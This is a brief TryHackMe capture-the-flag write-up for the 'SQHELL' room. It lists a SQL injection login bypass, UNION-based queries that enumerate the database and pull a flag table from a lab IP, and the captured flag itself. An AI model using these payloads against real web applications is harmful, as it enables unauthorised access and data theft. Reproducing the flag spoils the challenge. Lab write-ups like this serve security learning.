[TryHackMe] SQHELL injection

Flag 1

–> http://10.10.251.200/login

Login :

admin' or '1'='1' -- [SPACE]

Flag 5

id=3 UNION SELECT null,null,database(),null
id=3 UNION SELECT null,null,table_name,null from information_schema.tables where table_schema = database()
id=3 UNION SELECT null,null,flag,null from flag

–> http://10.10.251.200/post?id=3%20UNION%20SELECT%20null,null,database(),null

DB : sqhell_5 Table : flag Colonne : flag

THM{FLAG5:B9C690D3B914F7038BA1FC65B3FDF3C8}